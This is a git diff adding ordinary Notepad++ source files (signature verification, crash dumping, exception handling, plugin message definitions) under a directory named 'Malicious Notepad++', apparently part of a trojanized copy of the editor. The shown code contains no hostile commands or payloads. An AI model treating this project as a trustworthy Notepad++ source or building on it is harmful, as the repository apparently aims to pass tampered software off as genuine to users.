OutputDebugString(TEXT("VerifyLibrary: system is offline - certificate revocation wont be checked\n")); + } + } + + if (doCheckChainOfTrust) + { + // Verify signature and cert-chain validity + GUID policy = WINTRUST_ACTION_GENERIC_VERIFY_V2; + LONG vtrust = ::WinVerifyTrust(NULL, &policy, &winTEXTrust_data); + + // Post check cleanup + winTEXTrust_data.dwStateAction = WTD_STATEACTION_CLOSE; + LONG t2 = ::WinVerifyTrust(NULL, &policy, &winTEXTrust_data); + + if (vtrust) + { + OutputDebugString(TEXT("VerifyLibrary: trust verification failed\n")); + return false; + } + + if (t2) + { + OutputDebugString(TEXT("VerifyLibrary: error encountered while cleaning up after WinVerifyTrust\n")); + return false; + } + } + + // + // Certificate verification + // + HCERTSTORE hStore = nullptr; + HCRYPTMSG hMsg = nullptr; + PCMSG_SIGNER_INFO pSignerInfo = nullptr; + DWORD dwEncoding, dwContentType, dwFormatType; + DWORD dwSignerInfo = 0L; + bool status = true; + + try { + BOOL result = ::CryptQueryObject(CERT_QUERY_OBJECT_FILE, filepath.c_str(), + CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED, CERT_QUERY_FORMAT_FLAG_BINARY, 0, + &dwEncoding, &dwContentType, &dwFormatType, + &hStore, &hMsg, NULL); + + if (!result) + { + throw wstring( TEXT("Checking certificate of ") ) + filepath + TEXT(" : ") + GetLastErrorAsString(GetLastError()); + } + + // Get signer information size. + result = ::CryptMsgGetParam(hMsg, CMSG_SIGNER_INFO_PARAM, 0, NULL, &dwSignerInfo); + if (!result) + { + throw wstring( TEXT("CryptMsgGetParam first call: ")) + GetLastErrorAsString(GetLastError()); + } + + // Get Signer Information. + pSignerInfo = (PCMSG_SIGNER_INFO)LocalAlloc(LPTR, dwSignerInfo); + if (NULL == pSignerInfo ) + { + throw wstring( TEXT("Failed to allocate memory for signature processing")); + } + + result = ::CryptMsgGetParam(hMsg, CMSG_SIGNER_INFO_PARAM, 0, (PVOID)pSignerInfo, &dwSignerInfo); + if (!result) + { + throw wstring( TEXT("CryptMsgGetParam: ")) + GetLastErrorAsString(GetLastError()); + } + + // Get the signer certificate from temporary certificate store. + CERT_INFO cert_info = { 0 }; + cert_info.Issuer = pSignerInfo->Issuer; + cert_info.SerialNumber = pSignerInfo->SerialNumber; + PCCERT_CONTEXT context = ::CertFindCertificateInStore( hStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_CERT, (PVOID)&cert_info, NULL); + if (!context) + { + throw wstring( TEXT("Certificate context: ")) + GetLastErrorAsString(GetLastError()); + } + + // Getting the full subject + auto subject_sze = ::CertNameToStr(X509_ASN_ENCODING, &context->pCertInfo->Subject, CERT_X500_NAME_STR, NULL, 0); + if (subject_sze <= 1) + { + throw wstring(TEXT("Getting x509 field size problem.")); + } + + std::unique_ptr subject_buffer(new TCHAR[subject_sze]); + if (::CertNameToStr(X509_ASN_ENCODING, &context->pCertInfo->Subject, CERT_X500_NAME_STR, subject_buffer.get(), subject_sze) <= 1) + { + throw wstring(TEXT("Failed to get x509 filed infos from certificate.")); + } + subject = subject_buffer.get(); + + // Getting key_id + DWORD key_id_sze = 0; + if (!::CertGetCertificateContextProperty( context, CERT_KEY_IDENTIFIER_PROP_ID, NULL, &key_id_sze)) + { + throw wstring( TEXT("x509 property not found")) + GetLastErrorAsString(GetLastError()); + } + + std::unique_ptr key_id_buff( new BYTE[key_id_sze] ); + if (!::CertGetCertificateContextProperty( context, CERT_KEY_IDENTIFIER_PROP_ID, key_id_buff.get(), &key_id_sze)) + { + throw wstring( TEXT("Getting certificate property problem.")) + GetLastErrorAsString(GetLastError()); + } + + wstringstream ss; + for (unsigned i = 0; i < key_id_sze; i++) + { + ss << std::uppercase << std::setfill(TCHAR('0')) << std::setw(2) << std::hex + << key_id_buff[i]; + } + key_id_hex = ss.str(); + wstring dbg = key_id_hex + TEXT("\n"); + OutputDebugString( dbg.c_str() ); + + // Getting the display name + auto sze = ::CertGetNameString( context, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, NULL, NULL, 0); + if (sze <= 1) + { + throw wstring( TEXT("Getting data size problem.")) + GetLastErrorAsString(GetLastError()); + } + + // Get display name. + std::unique_ptr display_name_buffer( new TCHAR[sze] ); + if (::CertGetNameString( context, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, NULL, display_name_buffer.get(), sze) <= 1) + { + throw wstring( TEXT("Cannot get certificate info.")) + GetLastErrorAsString(GetLastError()); + } + display_name = display_name_buffer.get(); + + } catch (wstring s) { + ::MessageBox(NULL, s.c_str(), TEXT("DLL signature verification failed"), MB_ICONERROR); + OutputDebugString(TEXT("VerifyLibrary: error while getting certificate informations\n")); + status = false; + } catch (...) { + // Unknown error + OutputDebugString(TEXT("VerifyLibrary: error while getting certificate informations\n")); + wstring errMsg(TEXT("Unknown exception occured. ")); + errMsg += GetLastErrorAsString(GetLastError()); + ::MessageBox(NULL, errMsg.c_str(), TEXT("DLL signature verification failed"), MB_ICONERROR); + status = false; + } + + // + // fields verifications - if status is true, and string to compare (from the parameter) is not empty, then do compare + // + if ( status && !cert_display_name.empty() && cert_display_name != display_name ) + { + status = false; + OutputDebugString(TEXT("VerifyLibrary: Invalid certificate display name\n")); + } + + if ( status && !cert_subject.empty() && cert_subject != subject) + { + status = false; + OutputDebugString(TEXT("VerifyLibrary: Invalid certificate subject\n")); + } + + if ( status && !cert_key_id_hex.empty() && cert_key_id_hex != key_id_hex ) + { + status = false; + OutputDebugString(TEXT("VerifyLibrary: Invalid certificate key id\n")); + } + + // Clean up. + + if (hStore != NULL) CertCloseStore(hStore, 0); + if (hMsg != NULL) CryptMsgClose(hMsg); + if (pSignerInfo != NULL) LocalFree(pSignerInfo); + + return status; +} + +#undef VerifySignedLibrary_DISABLE_REVOCATION_CHECK diff --git a/Malicious Notepad++/src/MISC/Common/verifySignedfile.h b/Malicious Notepad++/src/MISC/Common/verifySignedfile.h new file mode 100644 index 0000000..d9d10d0 --- /dev/null +++ b/Malicious Notepad++/src/MISC/Common/verifySignedfile.h @@ -0,0 +1,68 @@ +// This file is part of Notepad++ project +// Copyright (C)2003-2017 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + + +//#define VerifySignedLibrary_DISABLE_REVOCATION_CHECK "Dont check certificat revocation" + +/* +* Verifies an Authenticde DLL signature and ownership +* +* Parameters: +* @param filepath path to the DLL file to examine +* @param cert_display_name if specified, the signing certificate display name to compare to. Ignored if set to "", (weak comparison) +* @param cert_subject if specified, the full signing certificate subject name. Ignored if set to "" (strong comparison) +* @param cert_key_id_hex if specified, the signing certificate key id (fingerprint), Ignored if set to "" (very strong comparison) +* +* @return true if the verification was positive, false if it was negative of encountered some error +* +* Dependencies: +* This function uses 3 APIs: WinTrust, CryptoAPI, SENS API +* It requires to link on : wintrust.lib, crypt32.lib (or crypt64.lib depending on the compilation target) and sensapi.lib +* Those functions are available on Windows starting with Windows-XP +* +* Limitations: +* Certificate revocation checking requires an access to Internet. +* The functions checks for connectivity and will disable revocation checking if the machine is offline or if Microsoft +* connectivity checking site is not reachable (supposely implying we are on an airgapped network). +* Depending on Windows version, this test will be instantaneous (Windows 8 and up) or may take a few seconds. +* This behaviour can be disabled by setting a define at compilation time. +* If macro VerifySignedLibrary_DISABLE_REVOCATION_CHECK is defined, the revocation +* state of the certificates will *not* be checked. +* +*/ + +#include + +bool VerifySignedLibrary(const std::wstring& filepath, + const std::wstring& key_id_hex, + const std::wstring& cert_subject, + const std::wstring& display_name, + bool doCheckRevocation, + bool doCheckChainOfTrust); diff --git a/Malicious Notepad++/src/MISC/Exception/MiniDumper.cpp b/Malicious Notepad++/src/MISC/Exception/MiniDumper.cpp new file mode 100644 index 0000000..70ce5eb --- /dev/null +++ b/Malicious Notepad++/src/MISC/Exception/MiniDumper.cpp @@ -0,0 +1,111 @@ +//Adapted from http://www.codeproject.com/KB/debug/postmortemdebug_standalone1.aspx#_Reading_a_Minidump_with%20Visual%20Stud +//Modified for use by Npp + +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "MiniDumper.h" + +LPCTSTR msgTitle = TEXT("Notepad++ crash analysis"); + +MiniDumper::MiniDumper() +{ +} + +bool MiniDumper::writeDump(EXCEPTION_POINTERS * pExceptionInfo) +{ + TCHAR szDumpPath[MAX_PATH]; + TCHAR szScratch[MAX_PATH]; + LPCTSTR szResult = NULL; + bool retval = false; + + HMODULE hDll = ::LoadLibrary( TEXT("DBGHELP.DLL") ); //that wont work on older windows version than XP, #care :) + + if (hDll) + { + MINIDUMPWRITEDUMP pDump = (MINIDUMPWRITEDUMP)::GetProcAddress( hDll, "MiniDumpWriteDump" ); + if (pDump) + { + ::GetModuleFileName(NULL, szDumpPath, MAX_PATH); + ::PathRemoveFileSpec(szDumpPath); + lstrcat(szDumpPath, TEXT("\\NppDump.dmp")); + + // ask the user if they want to save a dump file + int msgret = ::MessageBox(NULL, TEXT("Do you want to save a dump file?\r\nDoing so can aid in developing Notepad++."), msgTitle, MB_YESNO); + if (msgret == IDYES) + { + // create the file + HANDLE hFile = ::CreateFile( szDumpPath, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, NULL ); + + if (hFile!=INVALID_HANDLE_VALUE) + { + _MINIDUMP_EXCEPTION_INFORMATION ExInfo; + + ExInfo.ThreadId = ::GetCurrentThreadId(); + ExInfo.ExceptionPointers = pExceptionInfo; + ExInfo.ClientPointers = NULL; + + // write the dump + BOOL bOK = pDump( GetCurrentProcess(), GetCurrentProcessId(), hFile, MiniDumpNormal, &ExInfo, NULL, NULL ); + if (bOK) + { + wsprintf( szScratch, TEXT("Saved dump file to '%s'"), szDumpPath ); + szResult = szScratch; + retval = true; + } + else + { + wsprintf( szScratch, TEXT("Failed to save dump file to '%s' (error %d)"), szDumpPath, GetLastError() ); + szResult = szScratch; + } + ::CloseHandle(hFile); + } + else + { + wsprintf( szScratch, TEXT("Failed to create dump file '%s' (error %d)"), szDumpPath, GetLastError() ); + szResult = szScratch; + } + } + } + else + { + szResult = TEXT("The debugging DLL is outdated,\r\nfind a recent copy of dbghelp.dll and install it."); + } + } + else + { + szResult = TEXT("Unable to load the debugging DLL,\r\nfind a recent copy of dbghelp.dll and install it."); + } + + if (szResult) + ::MessageBox(NULL, szResult, msgTitle, MB_OK); + + return retval; +} diff --git a/Malicious Notepad++/src/MISC/Exception/MiniDumper.h b/Malicious Notepad++/src/MISC/Exception/MiniDumper.h new file mode 100644 index 0000000..37ae5f3 --- /dev/null +++ b/Malicious Notepad++/src/MISC/Exception/MiniDumper.h @@ -0,0 +1,52 @@ +//Adapted from http://www.codeproject.com/KB/debug/postmortemdebug_standalone1.aspx#_Reading_a_Minidump_with%20Visual%20Stud +//Modified for use by Npp + +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef MDUMP_H +#define MDUMP_H + +#include +#include + + +// based on dbghelp.h +typedef BOOL (WINAPI *MINIDUMPWRITEDUMP)(HANDLE hProcess, DWORD dwPid, HANDLE hFile, MINIDUMP_TYPE DumpType, + const PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, + const PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, + const PMINIDUMP_CALLBACK_INFORMATION CallbackParam + ); + +class MiniDumper { +public: + MiniDumper(); + bool writeDump(EXCEPTION_POINTERS * pExceptionInfo); +}; + +#endif //MDUMP_H diff --git a/Malicious Notepad++/src/MISC/Exception/Win32Exception.cpp b/Malicious Notepad++/src/MISC/Exception/Win32Exception.cpp new file mode 100644 index 0000000..3b2441f --- /dev/null +++ b/Malicious Notepad++/src/MISC/Exception/Win32Exception.cpp @@ -0,0 +1,92 @@ +//This code was retrieved from +//http://www.thunderguy.com/semicolon/2002/08/15/visual-c-exception-handling/3/ +//(Visual C++ exception handling) +//By Bennett +//Formatting Slightly modified for N++ + +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "Win32Exception.h" + + +Win32Exception::Win32Exception(EXCEPTION_POINTERS * info) +{ + _location = info->ExceptionRecord->ExceptionAddress; + _code = info->ExceptionRecord->ExceptionCode; + _info = info; + switch (_code) + { + case EXCEPTION_ACCESS_VIOLATION: + _event = "Access violation"; + break; + case EXCEPTION_FLT_DIVIDE_BY_ZERO: + case EXCEPTION_INT_DIVIDE_BY_ZERO: + _event = "Division by zero"; + break; + default: + _event = "Unlisted exception"; + } +} + +void Win32Exception::installHandler() +{ +#ifndef __MINGW32__ + _set_se_translator(Win32Exception::translate); +#endif +} + +void Win32Exception::removeHandler() +{ +#ifndef __MINGW32__ + _set_se_translator(NULL); +#endif +} + +void Win32Exception::translate(unsigned code, EXCEPTION_POINTERS * info) +{ + // Windows guarantees that *(info->ExceptionRecord) is valid + switch (code) + { + case EXCEPTION_ACCESS_VIOLATION: + throw Win32AccessViolation(info); + break; + default: + throw Win32Exception(info); + } +} + + +Win32AccessViolation::Win32AccessViolation(EXCEPTION_POINTERS * info) + : Win32Exception(info) +{ + _isWrite = info->ExceptionRecord->ExceptionInformation[0] == 1; + _badAddress = reinterpret_cast(info->ExceptionRecord->ExceptionInformation[1]); +} + + diff --git a/Malicious Notepad++/src/MISC/Exception/Win32Exception.h b/Malicious Notepad++/src/MISC/Exception/Win32Exception.h new file mode 100644 index 0000000..0efa0ee --- /dev/null +++ b/Malicious Notepad++/src/MISC/Exception/Win32Exception.h @@ -0,0 +1,79 @@ +//This code was retrieved from +//http://www.thunderguy.com/semicolon/2002/08/15/visual-c-exception-handling/3/ +//(Visual C++ exception handling) +//By Bennett +//Formatting Slightly modified for N++ + +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#ifndef WIN32_EXCEPTION_H +#define WIN32_EXCEPTION_H + +#include +#include + +typedef const void* ExceptionAddress; // OK on Win32 platform + +class Win32Exception : public std::exception +{ +public: + static void installHandler(); + static void removeHandler(); + virtual const char* what() const throw() { return _event; } + ExceptionAddress where() const { return _location; } + unsigned int code() const { return _code; } + EXCEPTION_POINTERS* info() const { return _info; } + +protected: + explicit Win32Exception(EXCEPTION_POINTERS * info); //Constructor only accessible by exception handler + static void translate(unsigned code, EXCEPTION_POINTERS * info); + +private: + const char * _event; + ExceptionAddress _location; + unsigned int _code; + + EXCEPTION_POINTERS * _info; +}; + + +class Win32AccessViolation: public Win32Exception +{ +public: + bool isWrite() const { return _isWrite; } + ExceptionAddress badAddress() const { return _badAddress; } +private: + explicit Win32AccessViolation(EXCEPTION_POINTERS * info); + + bool _isWrite; + ExceptionAddress _badAddress; + + friend void Win32Exception::translate(unsigned code, EXCEPTION_POINTERS* info); +}; + +#endif // WIN32_EXCEPTION_H diff --git a/Malicious Notepad++/src/MISC/FileNameStringSplitter.h b/Malicious Notepad++/src/MISC/FileNameStringSplitter.h new file mode 100644 index 0000000..f8aa4f5 --- /dev/null +++ b/Malicious Notepad++/src/MISC/FileNameStringSplitter.h @@ -0,0 +1,124 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef FILENAME_STRING_SPLITTER_H +#define FILENAME_STRING_SPLITTER_H + +typedef std::vector stringVector; + + + +class FileNameStringSplitter +{ +public: + FileNameStringSplitter(const TCHAR *fileNameStr) + { + //if (!fileNameStr) return; + TCHAR *pStr = NULL; + bool isInsideQuotes = false; + const int filePathLength = MAX_PATH; + + TCHAR str[filePathLength]; + int i = 0; + bool fini = false; + + for (pStr = (TCHAR *)fileNameStr ; !fini ; ) + { + if (i >= filePathLength) + break; + + switch (*pStr) + { + case '"': + { + if (isInsideQuotes) + { + str[i] = '\0'; + if (str[0]) + _fileNames.push_back(generic_string(str)); + i = 0; + } + isInsideQuotes = !isInsideQuotes; + pStr++; + break; + } + + case ' ': + { + if (isInsideQuotes) + { + str[i] = *pStr; + i++; + } + else + { + str[i] = '\0'; + if (str[0]) + _fileNames.push_back(generic_string(str)); + i = 0; + } + pStr++; + break; + } + + case '\0': + { + str[i] = *pStr; + if (str[0]) + _fileNames.push_back(generic_string(str)); + fini = true; + break; + } + + default : + { + str[i] = *pStr; + i++; pStr++; + break; + } + } + } + } + + const TCHAR * getFileName(size_t index) const { + if (index >= _fileNames.size()) + return NULL; + return _fileNames[index].c_str(); + } + + int size() const { + return int(_fileNames.size()); + } + +private : + stringVector _fileNames; +}; + + + +#endif //FILENAME_STRING_SPLITTER_H diff --git a/Malicious Notepad++/src/MISC/PluginsManager/IDAllocator.cpp b/Malicious Notepad++/src/MISC/PluginsManager/IDAllocator.cpp new file mode 100644 index 0000000..4f1d5c8 --- /dev/null +++ b/Malicious Notepad++/src/MISC/PluginsManager/IDAllocator.cpp @@ -0,0 +1,53 @@ +// IDAllocator.h code is copyrighted (C) 2010 by Dave Brotherstone + +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "IDAllocator.h" + +IDAllocator::IDAllocator(int start, int maximumID) + : _start(start), + _nextID(start), + _maximumID(maximumID) +{ +} + +int IDAllocator::allocate(int quantity) +{ + int retVal = -1; + + if (_nextID + quantity <= _maximumID && quantity > 0) + { + retVal = _nextID; + _nextID += quantity; + } + + return retVal; +} + + diff --git a/Malicious Notepad++/src/MISC/PluginsManager/IDAllocator.h b/Malicious Notepad++/src/MISC/PluginsManager/IDAllocator.h new file mode 100644 index 0000000..9a05005 --- /dev/null +++ b/Malicious Notepad++/src/MISC/PluginsManager/IDAllocator.h @@ -0,0 +1,50 @@ +// IDAllocator.h code is copyrighted (C) 2010 by Dave Brotherstone + +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef IDALLOCATOR_H +#define IDALLOCATOR_H + +class IDAllocator +{ +public: + IDAllocator(int start, int maximumID); + + /// Returns -1 if not enough available + int allocate(int quantity); + + bool isInRange(int id) { return (id >= _start && id < _nextID); } + +private: + int _start; + int _nextID; + int _maximumID; +}; + +#endif diff --git a/Malicious Notepad++/src/MISC/PluginsManager/Notepad_plus_msgs.h b/Malicious Notepad++/src/MISC/PluginsManager/Notepad_plus_msgs.h new file mode 100644 index 0000000..c5e5a2d --- /dev/null +++ b/Malicious Notepad++/src/MISC/PluginsManager/Notepad_plus_msgs.h @@ -0,0 +1,599 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef NOTEPAD_PLUS_MSGS_H +#define NOTEPAD_PLUS_MSGS_H + +#include +#include + +enum LangType {L_TEXT, L_PHP , L_C, L_CPP, L_CS, L_OBJC, L_JAVA, L_RC,\ + L_HTML, L_XML, L_MAKEFILE, L_PASCAL, L_BATCH, L_INI, L_ASCII, L_USER,\ + L_ASP, L_SQL, L_VB, L_JS, L_CSS, L_PERL, L_PYTHON, L_LUA, \ + L_TEX, L_FORTRAN, L_BASH, L_FLASH, L_NSIS, L_TCL, L_LISP, L_SCHEME,\ + L_ASM, L_DIFF, L_PROPS, L_PS, L_RUBY, L_SMALLTALK, L_VHDL, L_KIX, L_AU3,\ + L_CAML, L_ADA, L_VERILOG, L_MATLAB, L_HASKELL, L_INNO, L_SEARCHRESULT,\ + L_CMAKE, L_YAML, L_COBOL, L_GUI4CLI, L_D, L_POWERSHELL, L_R, L_JSP,\ + L_COFFEESCRIPT, L_JSON, L_JAVASCRIPT, L_FORTRAN_77, L_BAANC, L_SREC,\ + L_IHEX, L_TEHEX, L_SWIFT,\ + L_ASN1, L_AVS, L_BLITZBASIC, L_PUREBASIC, L_FREEBASIC, \ + L_CSOUND, L_ERLANG, L_ESCRIPT, L_FORTH, L_LATEX, \ + L_MMIXAL, L_NIMROD, L_NNCRONTAB, L_OSCRIPT, L_REBOL, \ + L_REGISTRY, L_RUST, L_SPICE, L_TXT2TAGS, L_VISUALPROLOG,\ + // Don't use L_JS, use L_JAVASCRIPT instead + // The end of enumated language type, so it should be always at the end + L_EXTERNAL}; + +enum winVer{ WV_UNKNOWN, WV_WIN32S, WV_95, WV_98, WV_ME, WV_NT, WV_W2K, WV_XP, WV_S2003, WV_XPX64, WV_VISTA, WV_WIN7, WV_WIN8, WV_WIN81, WV_WIN10}; +enum Platform { PF_UNKNOWN, PF_X86, PF_X64, PF_IA64 }; + + + +//Here you can find how to use these messages : http://docs.notepad-plus-plus.org/index.php/Messages_And_Notifications +#define NPPMSG (WM_USER + 1000) + + #define NPPM_GETCURRENTSCINTILLA (NPPMSG + 4) + #define NPPM_GETCURRENTLANGTYPE (NPPMSG + 5) + #define NPPM_SETCURRENTLANGTYPE (NPPMSG + 6) + + #define NPPM_GETNBOPENFILES (NPPMSG + 7) + #define ALL_OPEN_FILES 0 + #define PRIMARY_VIEW 1 + #define SECOND_VIEW 2 + + #define NPPM_GETOPENFILENAMES (NPPMSG + 8) + + + #define NPPM_MODELESSDIALOG (NPPMSG + 12) + #define MODELESSDIALOGADD 0 + #define MODELESSDIALOGREMOVE 1 + + #define NPPM_GETNBSESSIONFILES (NPPMSG + 13) + #define NPPM_GETSESSIONFILES (NPPMSG + 14) + #define NPPM_SAVESESSION (NPPMSG + 15) + #define NPPM_SAVECURRENTSESSION (NPPMSG + 16) + + struct sessionInfo { + TCHAR* sessionFilePathName; + int nbFile; + TCHAR** files; + }; + + #define NPPM_GETOPENFILENAMESPRIMARY (NPPMSG + 17) + #define NPPM_GETOPENFILENAMESSECOND (NPPMSG + 18) + + #define NPPM_CREATESCINTILLAHANDLE (NPPMSG + 20) + #define NPPM_DESTROYSCINTILLAHANDLE (NPPMSG + 21) + #define NPPM_GETNBUSERLANG (NPPMSG + 22) + + #define NPPM_GETCURRENTDOCINDEX (NPPMSG + 23) + #define MAIN_VIEW 0 + #define SUB_VIEW 1 + + #define NPPM_SETSTATUSBAR (NPPMSG + 24) + #define STATUSBAR_DOC_TYPE 0 + #define STATUSBAR_DOC_SIZE 1 + #define STATUSBAR_CUR_POS 2 + #define STATUSBAR_EOF_FORMAT 3 + #define STATUSBAR_UNICODE_TYPE 4 + #define STATUSBAR_TYPING_MODE 5 + + #define NPPM_GETMENUHANDLE (NPPMSG + 25) + #define NPPPLUGINMENU 0 + #define NPPMAINMENU 1 + // INT NPPM_GETMENUHANDLE(INT menuChoice, 0) + // Return: menu handle (HMENU) of 